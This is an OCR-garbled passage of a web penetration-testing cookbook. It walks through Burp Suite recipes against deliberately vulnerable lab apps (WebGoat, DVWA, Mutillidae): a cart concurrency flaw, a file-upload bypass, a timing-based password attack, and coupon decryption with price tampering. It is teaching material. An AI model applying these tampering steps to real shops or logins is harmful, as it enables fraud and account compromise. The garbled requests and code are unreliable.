User-Agent: Mozilla/5.0 (Windows NT 10.0; WinEd; x€4; rviE€l.0) Gecko/20100101 Firefox/€1.0
Accept: text/html,applic n/xhtnltxml,application/xml;q=0.9,*/*;q=0.8

Ae

A

f Send to Spider
e

Can Do an active scan
@ Do a passive scan

ength
Coclrie: JSESSIONID=ELIZD7ALIFLCIES246CDORLIEE60407RID; acopendividsmswingset Jot] o 0000 Cirkel
Muthorization: Basic 23V1e30623Vie3Q= s i
Connection: close
Upgrade-Insecure-Requests: 1 &nd 10 Sequencer
Send to Comparer
Send to Decoder

Send to Repeater

QATY1=0&QTYI=040TYI=L4QTV4=04 SUBHIT=Update+Cart

7. Inside Burp's Repeater tab, change theQTY3 parameter from 1 to 10:



Target I Proxy T Spider T Scanner I Intruder [R&p&ﬂt&lﬂ Sequencer I Decoder I Comparer [ Extender 1

1 H[Z HTSKI4 K(:W

L..?E__J Cancel | | &7 2

Request

J Raw I Params [ Headers [ Hex ]

POST /WebGoat/attack?acreen=15cnenu=000 HITP/1.1

Host: 192.168.56.101

User-Agent: Nozilla/5.0 (Windows NT 10.0; Wined; xe4; rv:el.0) Gecko/Z0L00101
Firefox/el.0

Aeeept: text/html application/shtumltynl application/wml;q=0.9,*/*;q=0.8

Aecept-Language: en-U5,en;q=0.5

Accept-Encoding: gqeip, deflate

Referer: http://192.168.56.101/WehGoat/attack?Sereen=154nenu=800
Content-Type: application/x-www-forn-urlencoded

Content-Length: 46

Cookie: JSESSTONID=ELZDT7ALIFIC365245CD0RLZE68407E2D;
acopendivids=swingset jotto,phpbbl, reduine; acqroupswithpersist=nada
Authorization: Basic Z23V1e3Qe23Vle3(=

Commection: cloge

Upgrade-Insecure-Requests: 1

UTYL=06QTVZ=0TT3=106 0TT4=06SUBNI T=Tpdat et Cart



8. Stay in Burp Repeater, and in the request pane, right-click and select
Request in browser | In current browser session:



Target X Proxy I Spider [ Scanner I Intruder I Repeater I Sequencer W Oecoder [ Comparer W Extender I Project options [ User options w

1:<‘2>< SxTHF
@Eancel CIv oo

Request Response
Jﬂaw T Params I Headers I Hex \ Raw
POST /WebGoat/attack?Screen=156menu=800 HITR/1.1 i
Host: 197.168.56.101 P

User-Agent: Mozilla/5.0 (Windows NT 10.0; Vined; xed; rv:el.0) Gecko/Z0L00101
Firefox/6l.0

Avcept: text/html,application/xhtultxnl,application/ml;q=0.9,*/*;q=0.8
Aecept-Language: en-U5,en;q=0.5

Accept-Encoding: gaip, deflate

Referer: http://192.168.5¢. 101/WehGoat /attack?Gereen=156unenu=000
Content-Type: application/x-www-form-urlencoded

Content-Length: 46

Cookie: JSESSIONID=ELZD7ALLFLC365245CD0RL2EE0407E2D:
acopendivids=svingset, jotto, phpbb?, redui Sendo Spider
Authorization: Basic 23V1e30623V1cd(=

Comnection: close Do an achve scan
Tpgrade-Insecure-Requests: 1 Send to htruder Cirkl

Send to Repeater Ctri+R
QTT1=06QTT2=08QTT3=1040TT4=005UBNIT=lpd3

Send to Sequencer

Send to Comparer

Send to Decoder

Request in browser

| Inoriginal session

Engagement tools In current browser session




9. A pop-up displays the modified request. Click the Copy button:
[ § Repeat request in browser

To repeat this reguest in your browser, copy the URL below and paste into a
browser that is configured to use Burp as its proxy.

http://burp/repeat/3/wagdnz? gxdckpmcugbw lpleblbSjvextw | Copy I
[ In future, just copy the URL and don't show this dialog Close [

10. Using the same Firefox browser containing the shopping cart, open a new
tab and paste in the URL that you copied into the clipboard in the previous
step:

[QJ Shopping Cart Concurrency Pl @ New Tab X

a ﬁ} O\ http://burp/repeat/3/wqdnz7gxdckpmcugbwOp0eb0b9jvsxtw

11. Press the Enter key to see the request resubmitted with a modified quantity
of 10:



¢ @

@ 192.168.56.101/WebGoat/attack?Screen=15&menu=800 E] v O %

Choose another language: ‘English M Logout 0

OWASP WebGoat v5.4

Shopping Cart Concurrency Flaw

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Qverflows
Code Quality
Concurrency

Thread Safety Problems
Shopping Cart Concurrency

Flaw

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions
Challenge

Solution Videos Restart this Lesson

For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase
merchandise for a lower price.

Shopping Cart
Shopping Cart Items Price Quantity Subtotal
Hitachi - 750G External Hard Drive | $169.000 [$0.00
Eﬁ;&ﬂ:&t-Packard - All-in-One Laser §299.00 \0 $0.00
Sony - Vaio with Intel Centrino $1799.00 ‘10 $17,990.00
Toshiba - XGA LCD Projector $649.00|0 $0.00

Total: $17,990.00
Update Cart

Purchase

ASPEGT)

Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug

12. Switch to the original tab containing your shopping cart (the cart with the
original quantity of 1). Click the Purchase button:



Shopping Cart

Shopping Cart Items Price Quantity Subtotal

Hitachi - 750GB External Hard Drive $169.00(|0 $0.00
Hewlett-Packard - All-in-One Laser
Printer $299.00(0 $0.00
Sony - Vaio with Intel Centrino $1799.00I1 $0.00
Toshiba - XGA LCD Projector $649.00{0 $0.00
Total: $0.00

Update Cart

Purchase

13. At the next screen, before clicking the Confirm button, switch to the second
tab, and update the cart again, but this time with our new quantity of 10, and
click on Update Cart:



X eShopping Cart Concurrency Fl: X +

c ¢ @ © 192.16856.101/WebGoat/attack?Screen=158&menu=800 B 0%

Choose another language: ‘English v] Logout 0

Introduction

Solution Videos Restart this Lesson
General
Access Control Flaws
AIAX Se_curqty For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase
Authentication Fl Y
Hes e DR merchandise for a lower price.
Buffer Overflows
Code Quality
Concurrency Shopping it
Thread Safety Problems
fediisi ey Shopping Cart Items Price | Quantity . Subtotal
Flaw Hitachi - 750GB External Hard Drive | $169.00 ‘0 $0.00
Cross-Site Scripting (XSS) : .
Improper Error Handling Hewlett-Packard - All-in-One Laser §299.00 ‘0 §0.00

Injection Flaws Printer
O e Sony - Vaio with Intel Centrino~~ |$1799.00 $17,990.00

Insecure Configuration ; ;
Insecure Storage Toshiba - XGA LCD Projector $649.00 ’0 . $0.00

Malicious Execution
Parameter Tampering Total: $17,990.00

Session Management Flaws S

Web Services Undate Cart

Admin Functions
Challenge

Purchase

ASPEGT)

Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug

14. Return to the first tab, and click the Confirm button:



e Shopping Cart Concurrency Fl- X

€>C¢e O £ 192.168.56.101/WebGoat/attackScreen=15&menu=800 [ = @

Choose another language: | English V} Logout 0

Shopping Cart Concurrency Flaw

OWASP WebGoat v5.4

Introduction g e ;
Canars) Solution Videos Restart this Lesson
Access Control Flaws
fi\;{ Ste_cu?_ty f For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase
bl il merchandise for a lower price.
Buffer Overflows
Code Quality
Concurrency
Thread Safety Problems . Place your order - -
It fite by Shopping Cart Items Price |Quantity| Subtotal
Flaw Hitachi - 750GB External Hard Drive $169.001 0  |%0.00
Cross-Site Scripting (XSS) Hewlett-Packard - All-in-One Laser Printer $299.00f 0  [$0.00
Improper Error Handling i :
Injection Flaws Sony - Vaio with Intel Centrino $1799.00f 1 |41,799.00
Denial of Service Toshiba - XGA LCD Projector $649.00( 0  |$0.00
Insecure Communication
Insecure Configuration E
Insecure Storage Total: $1,799.00
Malicious Execution
Parameter Tamperin : '
Session Maﬂaggmen% Flaws Enter your credit card number: 5321 13378888 2007 |
Web Servi '
Ade mme};r::]ﬁ?m Enter your three digit access code: 11

Challenge
nfirm

Cancel

ASI’EG'I')

Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug

Notice we were able to purchase 10 Sony Vaio laptops for the price of



one!

Choose another language: ‘ English v Logout o

OWASP WebGoat v5.4
Introduction Solution Videos Restart this Lesson
General
Access Control Flaws
iJ’;‘é Ste_cu?ty . For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase
T merchandise for a lower price.

Buffer Overflows
Code Quality
Concurrency * Thank you for shopping! You have (illegally!) received a 90% discount. Police are on

Thread Safety Problems the way to your IP address.

v * Congratulations. You have successfully completed this lesson.

Shopping Cart

Concurrency Flaw
Cross-Site Scripting (XSS) Thank you for your purchase!
Tmproper Error Handling Confirmation number: CONC-88
Injection Flaws Shopping Cart Items Price [Quantity| Subtotal
Denial of Service
Insecure Communication Hitachi - 750GB External Hard Drive $169.00 0 $0.00
Insecure Configuration Hewlett-Packard - All-in-One Laser Printer $299.00( 0 50,00
Insecure Storage
Malicious Execution Sony - Vaio with Intel Centrino $1799.00) 10  |$17,990.00
FRRMLT lamparing Toshiba - XGA LCD Projector 664000 0 [$0.00
Session Management Flaws

Web Services
Admin Functions Total Amount Charged to Your Credit Card: $1,799.00
Challenge

Return to Store

ASPECT

Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug



How it works...

Thread-safety issues can produce unintended results. For many languages, the
developer's knowledge of how to declare variables and methods as thread-safe is
imperative. Threads that are not isolated, such as the cart contents shown in this
recipe, can result in users gaining unintended discounts on products.



Unrestricted file upload — bypassing
weak validation

Many applications allow for files to be uploaded for various reasons. Business
logic on the server-side must include checking for acceptable files; this is known
as whitelisting. If such checks are weak or only address one aspect of file
attributes (for example, file extensions only), attackers can exploit these
weaknesses and upload unexpected file types that may be executable on the
server.



Getting ready

Using the Damn Vulnerable Web Application (DVWA)application and Burp,
we will exploit a business logic design flaw in the file upload page.



How to do it...

1. Ensure the owaspbwa VM is running. Select DVWA from the initial
landing page of the VM. The landing page will be configured to an IP
address specific to your machine.

2. At the login page, use these credentials: Username: user; Password: user.

3. Select the DVWA Security option from the menu on the left. Change the
default setting of low to medium and then click Submit:

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

Insecure CAPTCHA

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

Script Security

Security Level is currently medium.
You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

low v/ Submit

low

high '
v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently disabled. [ ]

[ J-[ ]



4. Select the Upload page from the menu on the left:

Home Vulnerability: File Upload

Lo Choose an image to upload:
Setup Browse... No file selected.
Brute Force Epioed
Command Execution .
More info
CSRF
Insecure CAPTCHA
File Inclusion

SQL Injection

SQL Injection (Blind)

st

5. Note the page instructs users to only upload images. If we try another type
of file other than a JPG image, we receive an error message in the upper
left-hand corner:

Your image was not uploaded.

6. On your local machine, create a file of any type, other than JPG. For
example, create a Microsoft Excel file called
malicious_spreadsheet.x1lsx. It does not need to have any content for the
purpose of this recipe.

7. Switch to Burp's Proxy | Intercept tab. Turn Interceptor on with the button
Intercept is on.

8. Return to Firefox, and use the Browse button to find the
malicious_spreadsheet.x1lsx file on your system and click the Upload
button:



Vulnerability: File Upload

Choose an image to upload:
Browse... malicious spreadsheet.xIsx

Upload

9. With the request paused in Burp's Proxy | Interceptor, change the Content-
type from application/vnd.openxmlformats-
officedocument.spreadsheet.sheet to image/jpeg instead.

o Here is the original:

----------------------------- 180903101016065
Content-Disposition: form-data; namwe="MAX FILE SIZE"

100000

----------------------------- 180903101018068

Content-Disposition: form-data; name="wploaded'; filename="ualiclous spreadsheet.lsy”
Content=Type: application/wnd. openxulfornats-officedocunent. spreadsheetnl. sheet

o Here is the modified version:



----------------------------- 1809031010180¢3
Content-Disposition: foru-data; name="MAX FILE SIZE"

100000

----------------------------- 180503101016068

Content-Disposition: form-data; name="uploaded'; filename="nalicious spreadsheet.rlsx'
Content-Type: 1mage/Ipeg

10. Click the Forward button. Now turn Interceptor off by clicking the toggle
button to Intercept is off.

11. Note the file uploaded successfully! We were able to bypass the weak data
validation checks and upload a file other than an image:

Vulnerability: File Upload

Choose an image to upload:
Browse...  Nofile selected.

Upload

../../hackable/uploads/malicious spreadsheet.xlsx succesfully uploaded!




How it works...

Due to weak server-side checks, we are able to easily circumvent the image-
only restriction and upload a file type of our choice. The application code only
checks for content types matching image/jpeg, which is easily modified with an
intercepting proxy such as Burp. Developers need to simultaneously whitelist
both content-type as well as file extensions in the application code to prevent
this type of exploit from occurring.



Performing process-timing attacks

By monitoring the time an application takes to complete a task, it is possible for
attackers to gather or infer information about how an application is coded. For
example, a login process using valid credentials receives a response quicker than
the same login process given invalid credentials. This delay in response time
leaks information related to system processes. An attacker could use a response
time to perform account enumeration and determine valid usernames based upon
the time of the response.



Getting ready

For this recipe, you will need the common_pass. txt wordlist from wfuzz:

e https://github.com/xmendez/wfuzz
o Path: wordlists | other | common_pass. txt

Using OWASP Mutillidae II, we will determine whether the application provides
information leakage based on the response time from forced logins.


https://github.com/xmendez/wfuzz

How to do it...

Ensure Burp is running, and also ensure that the owaspbwa VM is running and
that Burp is configured in the Firefox browser used to view owaspbwa
applications.

1. From the owaspbwa landing page, click the link to OWASP Mutillidae IT
application.

2. Open Firefox browser to the home of OWASP Mutillidae IT (URL:
http://<your_VM_assigned_IP_address>/mutillidae/).

3. Go to the login page and log in using the username ed and the password
pentest.

4. Switch to Burp's Proxy | HTTP history tab, find the login you just
performed, right-click, and select Send to Intruder:



Burp Intruder Repester Window Help

'3

Target Spider | Scanner ’{ Intruder [ Repeater [ Sequencer I Decoder I Comparer I Extender I Project uptiunsI

Intercept § HTTP history § WebSockets history I Options 1

i

Fiter: Hiding C33, image and general binary content

§ A fod | Method | URL (Params | Edted | St

j{ hitp://192.168.56.101 POST  mutilidae/index.php?page=login.php 302
1

J Request I Response ‘

jﬂaw I Params I Headers T Hex ‘

POST /uwutillidae/index.php?page=login.php HITR/L.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Wined; x64; rv:€l.0) Gecko/20100101 Firefox/€1.0
Avcept: text/htul,application/xhtultxml,application/xuml;q=0.9,*/*;q=0.8

Avcept-Language: en-US,en;q=0.5

Avcept-Encoding: geip, deflate

Referer: http://192.168.56. 101 /mutillidae/index. php?page=login. phy
Content-Type: application/z-wn-forn-urlencoded Send to Spider
Content-Length: 56 Do an active scan
Cookie: showhints=l; acopendivids=swingset,jotto,phpbbZ,reduine; acqrd
Connection: close
Upgrade-Insecure-Requests: 1 Sénd to lniruder Cr+

Send to Repeater ClrisR

Do a passive scan

usernane=edipassvord=pentestilogin-php-subnit-hutton=Login

5. Go to the Intruder | Positions tab, and clear all the payload markers, using
the Clear § button on the right-hand side:



Target { Provy I Spider I Seamer [mm I Repeater I Sequencer N Decoder [ Comparer IExlender N Project opfions ] User optons [Alerts 1

—

{x

=N

e | s | s | i

Payload Positions

Configure the postons where payloads wil e ingerted no the base request The altack fype detemines the way in which payloads are assigned to payload postions - seg hefp fo ful delalk,

Akt | S

6.

POST wucillidae/index. php?page=§login. php HITR/L.1

Host: 192,166, 56.101

User-Agent: Mozilla/S.0 (Vindows NT 10.0; Vined; xé4; rv:el.0) Gecko/20L00101 Pirefox/el.0
Aecept: text/htul,application/shtultunl, application/sul;q=0.9,% /% q=0.8

Recept-Language: en-U8 en;q=0.5

Aecept-Incading: quip, deflate

Referer: hetp://192. 168. 56. 101 /mucillidae/index. phppage=Login. php

Content=Type: applicacion/s=ww-foru-urlencoded

Content-Length: 58

Cookie; showhints=§1§; acopendivids={swingset,jotto, phpbb?, reduineS; acqroupswithpersist=inadaf; Server=fhidne3BidZE=S;
PHPSESSID=Flve]60]ule33n5045ahe 5456078

Comnection: close

Uporade-Insecure-Requests: 1

usernane=fed§tpassword=fpentestiilogin-php-subnit -huttons§Loging

Select the password field and click the Add § button to wrap a payload
marker around that field:



Start attack |
Cof\fpuf! the positions where payloads will be inserted nto the base request. The attack type determines the way in which payloads are assgned 10 payload positions - see help for full details.

Aftack type: | Sniper

=)
[POST /mutillidae/index.phpipage=login.php HITP/L1.L &l a5
Host: 192.166.56.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; xé4; rv:€1.0) Gecko/Z0100101 Firefox/E1.0
Accept: text/html,application/zhtml4xzml,application/xml;q=0.5,*/*;q=0.8 Clear §
Accept-Language: en-US,en;gq=0.5
Accept-Encoding: gzip, deflate Auto §
Referer: http://152.168.56.101/mutillidae/index. php?page=login.php 2
Content-Type: application/x-www-form-urlencoded Refresh J
Content-Length: 58 D ——
Cookie: showhintssl; acopendivids=swingset,jotto,phpbbZ,redmine; acgroupswithpersists=nada; Servershidhc3BidZE=; PHPSESSID=kvéj&8imle3inSgdSahesdsecT
Connection: close

Upgrade-Insecure-Dequests: 1

=ed drSp: §£login-php-submit-button=Login

7. Also, remove the PHPSESSID token. Delete the value present in this token
(the content following the equals sign) and leave it blank. This step is very
important, because if you happen to leave this token in the requests, you
will be unable to see the difference in the timings, since the application will
think you are already logged in:

Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: J‘ Sniper

POST /mutillidae/index.php?page=login.php HTTP/1l.1

Host: 192.1€8.5&£.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:61.0) Gecko/20100101 Firefox/El1.0
Accept: text/html,application/xhtml+t+xml, application/xml;q=0.9, */*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://152.168.56.101/mutillidae/index.php?page=login.php

Content=-Type: application/x-www-form-urlencoded

Content-Length: 5B

Cookie: showhints=l; acopendivids=swingset,b jotto,phpbbl, redmine; acgroupswithpersist=nada; Server=b3dhc3BidlE=; ?HPSESSID:=
Connection: close

Upgrade-Insecure-Requests: 1

username=edipassword=§pentest§slogin-php-submit-button=Login

8. Go to the Intruder | Payloads tab. Within the Payload Options [Simple list],
we will add some invalid values by using a wordlist from wfuzz
containing common passwords: wfuzz | wordlists | other |
common_pass. txt:



w Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

— }
— | 12345
M 1234567
— | 12345673
M 123asdf .
| Admin
ﬂj admin
administrator L
asdf123 Y
M Enter & new item
| Add from st . -

9. Scroll to the bottom and uncheck the checkbox for Payload Encoding:

12) Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

10. Click the Start attack button. An attack results table appears. Let the attacks
complete. From the attack results table, select Columns and check Response
received. Check Response completed to add these columns to the attack
results table:



(TargdhmxyTWTMMwﬂmtafTSequenwID&mderICormamIExieMsrTijsdnpﬁnsIUmpﬁmIm]

{x E;; Inlruderattackﬁ - 0 X

Targel | Psions - Altack Save
m v Request Optos
Payload Sets V Payiad =
Fiter. Showi| st )
You can define one or more paylo T
oo in ime 0
customized in different ways. |S!atua |Ermr ‘Tmnm |ng|h ]Cmmml ‘
g n U 0 s
st (1 0 0 0 wm
i ] U 0 s
Payload type: list
o m 0 0 ww
0 U 0 umw
@ Payload Options [Simple
This payload type lets you configy
000
fiffft
WWWW —_—

® %’@E

\ Add | |Enter anewitem

\Addfmm ..

@ Payload Processing

You can define rules to perform v

R




11. Analyze the results provided. Though not obvious on every response, note
the delay when an invalid password is used such as administrator. The
Response received timing is 156, but the Response completed timing is
166. However, the valid password of pentest (only 302) receives an
immediate response: 50 (received), and 50 (completed):

l b idar atasl 1 il = D
i INLTUCEr atlack |

Attack Save Columng

"

jﬂwﬂs [Target I Postians T Payloads I Options ]

Fiter. Showing al teme

Request | Payhad Status | Response received Response complted | Emor | Tmeout | Lenghh |
0 J U 5
1 U U 58
2 12345 M 4 L U U 580
3 1234567 20 8 8 U U 508
‘ 12345678 A0 13 13 g 0 e
§ 123asdf A0 130 133 g U0 e
1 admin M0 129 14 U U S8
B Admin 200 170 17 U U 580
10 backun 20 130 14 U U 58



How it works...

Information leakage can occur when processing error messages or invalid coding
paths takes longer than valid code paths. Developers must ensure the business
logic does not give away such clues to attackers.



Testing for the circumvention of work
flows

Shopping cart to payment gateway interactions must be tested by web app
penetration testers to ensure the workflow cannot be performed out of sequence.
A payment should never be made unless a verification of the cart contents is
checked on the server-side first. In the event this check is missing, an attacker
can change the price, quantity, or both, prior to the actual purchase.



Getting ready

Using the OWASP WebGoat application and Burp, we will exploit a business
logic design flaw in which there is no server-side validation prior to a purchase.



How to do it...

1. Ensure the owaspbwa VM is running. Select the OWASP WebGoat
application from the initial landing page of the VM. The landing page will
be configured to an IP address specific to your machine.

2. After you click the OWASP WebGoat link, you will be prompted for login
credentials. Use these credentials: User Name: guest; password: guest.

3. After authentication, click the Start WebGoat button to access the
application exercises.

4. Click AJAX Security | Insecure Client Storage from the left-hand menu.
You are presented with a shopping cart:
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AJAX Security STAGE 1 For this exercise, your mission is to discover a coupon code to receive an unintended
Same Origin Policy Protection discount,

LAB: DOM-Based cross-site
scripting
LAB: Client Side Filtering

Shopping Cart
Shopping Cart Items -- To Buy

DOM Injection Price Quantity Total

Now
XML Injecti
M Studio RTA - Laptop/Reading Cart with $69.99 0 $0.00
J5ON Inection Tilting Surface - Cherry : : :
LSl Dynex - Traditional Notebook Case  {$27,99 0 | $0.00
Dangerous Use of Eval —
Insecure Client Storage :ﬁ:ﬁl?ri;?@c?er:tljlr?:ﬂlmn R $159999 0 | $000
Authentication Flaws h ; P—
Buffer Overflows :10\6?;53 rg:[rggance penkeiian $299.99 0 $0.00
Code Quality CE—
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Cross-Site Scripting (XSS) Total before coupon is applied: $0.00
Improper Error Handling
Injection Flaws Total to be charged to your credit card: $0.00
Denial of Service
Insecure Communication
Insecure Configuration : :
Insecure Storge Enter your credit card number: ‘4128 32140002 1999 ‘
Malicious Execution : ‘
Parameter Tampering Enter your coupon code: | ‘
Session Management Flaws Purchase
Web Services
Admin Functions
Challenge
ASPECT
Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug



5. Switch to Burp's Proxy | HTTP history tab, Click the Filter button, and
ensure your Filter by MIME type section includes Script. If Script is not
checked, be sure to check it now:

[Target I Proxy T Spider T Scanner T Intruder I Repeater I Seguencer T Decoder T Comparer T Extender T Project options T User options TAIerts ]

Intercept | HTTP history I WebSockets history T Options ]

| Filter: Hiding CSS, image and general binary content

@ Filter by request type ~ Fitter by MIME type Filter by status code
@ [J sShow only in-scope items o0 HTML [ Other text [ 2xx [success]
[_] Hide items without responses & Script L Images [ 3xx [redirection]
[J Show only parameterized requests & XmL & Flash & 4xx [reguest error]
Jcss [ Other binary & Sxx [server error]
Filter by search term Filter by file extension Filter by annotation Filter by listener
L] Show only: | asp,aspx.jsp,php @ Show only commented items
Port
[J Regex [r— @) S 2
S P Show only highlighted tems
[ case sensitive (] Negative search s s.gif.ipg.pngcss
l Show all J l Hide all J l Revert changes J

6. Return to the Firefox browser with WebGoat and specify a quantity of 2 for
the Hewlett-Packard - Pavilion Notebook with Intel Centrino item:



STAGE 1: For this exercise, your mission is to discover a coupon code to receive an unintended
discount.

203
208
M0
210
21
212
Py

Shopping Cart

Shopping Car:‘::::ms — To Buy Price Quantity Total
Studio RTA - Laptop/Reading Cart with
Tilting Surface - Cherry $69.99 0 ‘ $0.00
Dynex - Traditional Notebook Case $27.99 0 J $0.00
Hewlett-Packard - Pavilion Notebook
with Intel® Centrino™ $1599.99 2 || $3,199.98
3 - Year Performance Service Plan
$1000 and Over $299.99 0 ‘ $0.00
Total before coupon is applied: $3,199.98
Total to be charged to your credit card: $3,199.98
Enter your credit card number: ’4128 3214 0002 1999 ‘
Enter your coupon code: ‘ ‘

Purchase

Switch back to Burp's Proxy | HTTP history tab and notice the JavaScript
(*.js) files associated with the change you made to the quantity. Note a
script called clientSidevaliation.js. Make sure the status code is 200
and not 304 (not modified). Only the 200 status code will show you the
source code of the script:

hitp:/H92.168.56.101 GET  MWebGoatiattack?5creen=1138menu=400 you 15 HINL insecure Client Storage
http:/H92.168.55.101 GET  MebGoatlavascriptjavascript s 04 pr: sCript |
hitp/192.168.56.101 GET  MebGoaljavascriptimenu_systemjs w0 s¢ript B
hitp:/H92.168.56.101 GET  MWebGoatfavascripttoggie s 04 20 Seript B
http:/H92.168.56.101 GET  MebGoatlavascriptmakeWindow s 04 pr: sCript 5
hifp/i192.168.5.101 ehGnatiavaecrinfleaennllay i ' i B
nip://192.168.56.101 ]

Select the clientSidevalidation. js file and view its source code in the
Response tab.

Note that coupon codes are hard-coded within the JavaScript file. However,
used literally as they are, they will not work:



[Target IProxy I Spider I Scanner T Intruder I Repeater I Sequencer TDecoder I Comparer I Extender T Project options I User options I Alerts w

Intercept | HTTP history TWebSockets history I Options }

Fiter: Hiding CS5, image and general binary content

# A|Host | Method | URL |Params | Edted |Stalus |Length | MIMEtype | Extension
213 hitp:/1192.168.56.101 GET IWebGoatfavascript/cientSideValidation.js 200 3325 script s
[«X

Request | Response
Raw | Headers | Hex

HITP/1.1 200 OK

Date: Sun, 09 Sep 2018 17:28:02 GMT
Server: Apache-Coyote/l.1

Pragma: No-cache

Cache-Control: no-cache

Expires: Wed, 31 Dec 1569 19:00:00 EST
Aceept-Ranges: bytes

ETag: W/"I54E-1438572854000"
Last-Modified: Non, 03 Aug 2015 03:34:54 GNT
Content-Type: text/javascript

ia: 1.1 127.0.1.1

Vary: Accept-Encoding

Content-Length: 2946

Commection: close

var cowpens = ["nvojubmeg",
"emph",

"sEmit",

"faopse",

"foprtfsq",

"prutt fsg"];

function isValidCoupon(coupon) {
coupon = coupon.toUpperCase();
for(var i=0; i<coupons.length; it+) |
decrypted = decrypticoupons[i]);
if(eoupon == decrypted){
ajaxFunction(coupon);
return true;
}
}

return false;

10. Keep looking at the source code and notice there is a decrypt function
found in the JavaScript file. We can test one of the coupon codes by sending
it through this function. Let’s try this test back in the Firefox browser:



| 213 http:#/192.168.56.101 GET WebGoatfiavascript/clientSideValidation.is 200 3325 script is
|«

[ Reguest | Response

Raw | Headers Wl
}

function decrypt (code) {
code = code.toUpperCasel);
alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
EAES AT
for (i = code.length ;i >= 0;i--){
for (j = 0;j<alpha.length;j++){
if(code.charAt (i) == alpha.charAt(j)){

caesar = caesar t+ alpha.charit((j+(alpha.length-1))%alpha.length):

i
}

return caesar;

11. In the browser, bring up the developer tools (F12) and go to the Console
tab. Paste into the console (look for the >> prompt) the following command:

decrypt('emph');

12. You may use this command to call the decrypt function on any of the
coupon codes declared within the array:



Introduction
General
Access Control Flaws

AJAX Security STAGE 1: For this exercise, your mission is to
Same Origin Policy Protection discount.

LAB: DOM-Based cross-site
scripting
LAB: Client Side Filtering

Solution Videos

* Keep looking for the coupon code.

DOM Injection
XML Injection
JSON Injection

Shopping Cart Items -- To Buy

Now
Silent Transactions Attacks Studio RTA - Laptop/Reading Cart with
Dangerous Use of Eval Tilting Surface - Cherry

Insecure Client Storage

Dynex - Traditional Notebook Case

Authentication Flaws

Buffer Overflows Hewlett-Packard - Pavilion Notebook
Code Quality with Intel® Centrino™
Concurrency 3 - Year Performance Service Plan

Cross-Site Scripting (XSS) $1000 and Over
Improper Error Handling

Injection Flaws

Denial of Service Total before coupon is applied:
Insecure Communication

[@ {3 Inspector [ Console [ Debugger {} Style Editor (S Performance

W  Filter output

decrypt('emph');

13. After pressing Enter, you will see the coupon code is decrypted to the word
GOLD:



W {3 Inspector [ Console

W ¢ Filter output

>?> decrypt('emph');
€< "GOLD"

14. Place the word GoLD within the Enter your coupon code box. Notice the
amount is now much less. Next, click the Purchase button:

STAGE 1: For this exercise, your mission is to discover a coupon code to receive an unintended
discount.

* Keep looking for the coupon code.

Shopping Cart

Shopping Car;:::ms sganny Price Quantity Total
Studio RTA - Laptop/Reading Cart with
Tilting Surface - Cherry $69.99 0 J $0.00
Dynex - Traditional Notebook Case $27.99 0 | $0.00
Hewlett-Packard - Pavilion Notebook
with Intel® Centrino™ $1599.99 2 $3,199.98
3 - Year Performance Service Plan
$1000 and Over $299.99 0 $0.00
Total before coupon is applied: $3,199.98
Total to be charged to your credit card: $1,599.99
Enter your credit card number: ‘4128 3214 0002 1999 |

Enter your coupon code: IGOLD I
I Purchase




15. We receive confirmation regarding stage 1 completion. Let's now try to get
the purchase for free:

STAGE 2: Now, try to get your entire order for free.

* Stage 1 completed.

16. Switch to Burp's Proxy | Intercept tab and turn Interceptor on with the
button Intercept is on.

17. Return to Firefox and press the Purchase button. While the request is
paused, modify the $1,599.99 amount to $0.00. Look for the GRANDTOT
parameter to help you find the grand total to change:

Target %y | Spider | Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer I Extender l Project options I User options. i Aleris

j nercept T HTTP history ]’WebSudrels history T Options }

Li Request to hitp://192.168.56.101:80
| Forward Drop Intercept is on Action LE

— )|

POST /WebGoat/attack?Screen=1ll5imenu=400 HTTP/1.1

Host: 197.168.56.101

User-Agent: Mozilla/§.0 (Windows NT 10.0; Win&4; x€4; rv:El.0) Gecko/Z0100101 Firefox/€l.0
cept: textshtml, application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8

ccept-Language: e

01/WebGoat fattack?Screen=119smenu=400
nt-Type: application/x-www-form-urlencoded
ne-Length: 243

Ac
A«
Ace
Re
Col
Co
Co

JSESSIONID=CD7B30EBASSCT55EE00C0ABE4736A204; acopendivids=swingset, jotto,phpbb2, reduine; acgroupswithpersist=nada
ation: Basic Z3V1e30623V1edQ=
o

% CL fieldZ=4128+43214+0002+15956£fieldl=GOLD&SUBMIT=Purchase

18. Click the Forward button. Now turn Interceptor off by clicking the toggle
button to Intercept is off.

19. You should receive a success message. Note the total charged is now $0.00:



Choose another language: | ENglish v Logout ¥

Insecure Client Storage

OWASP WebGoat vo.4 | €., » | 5 Show Cookle:

Introduction

General

Access Control Flaws
AJAX Security

Same Origin Policy Protection
Hﬁ.i.@%‘.ﬁ@ﬁ?ﬂ cross-site
scripting

LAB: Client Side Filtering
DOM hection

ML Injection
JSON Injection
Silent Transactions Attacks

